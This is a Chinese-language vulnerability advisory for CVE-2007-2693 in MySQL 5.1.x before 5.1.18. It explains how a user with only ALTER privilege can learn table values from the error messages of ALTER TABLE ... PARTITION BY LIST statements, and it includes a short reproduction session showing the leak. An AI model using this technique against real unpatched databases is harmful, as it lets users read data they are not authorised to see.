以下的文章主要講述的那些情況導致MySQL Alter Table函數的相關信息出現洩露漏洞,如果你在使用MySQL Alter Table中出現相關的情況的話,你就可以通過以下的文章對其有個研究吧!
受影響系統:
- MySQL AB MySQL 5.1.x < 5.1.18
不受影響系統:
- MySQL AB MySQL 5.1.18
描述:BUGTRAQ ID: 24008
CVE(CAN) ID: CVE-2007-2693
MySQL是一款使用非常廣泛的開放源代碼關系數據庫系統,擁有各種平台的運行版本。
MySQL Alter Table功能實現上存在漏洞,能夠以合法帳號登錄到數據庫系統的攻擊者可能利用此漏洞非授權獲取數據表相關的敏感信息。
如果用戶對表格擁有ALTER權限的話,則即使沒有SELECT權限也可以通過ALTER TABLE語句獲得某些有關表格的敏感信息。例如,用戶可以發布以下命令:
- ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0));
MySQL會返回錯誤消息:
- "Table has no partition for value 18".
這樣該用戶就可以知道存在column1 = 18的列。
測試方法:
以root用戶發布:
- mysql> create table tu (s1 int);
- Query OK, 0 rows affected (0.00 sec)
- mysql> insert into tu values (1);
- Query OK, 1 row affected (0.00 sec)
- mysql> grant alter on tu to molly@localhost;
- Query OK, 0 rows affected (0.01 sec)
以molly@localhost發布:
- mysql> select * from tu;
- ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table
- 'tu'
- mysql> alter table tu partition by list (s1) (partition p1 values in (1));
- Query OK, 1 row affected (0.05 sec)
- Records: 1 Duplicates: 0 Warnings: 0
- mysql> alter table tu partition by list (s1) (partition p1 values in (2));
- ERROR 1513 (HY000): Table has no partition for value 1
以上的相關內容就是對MySQL Alter Table函數信息洩露漏洞的介紹,望你能有所收獲。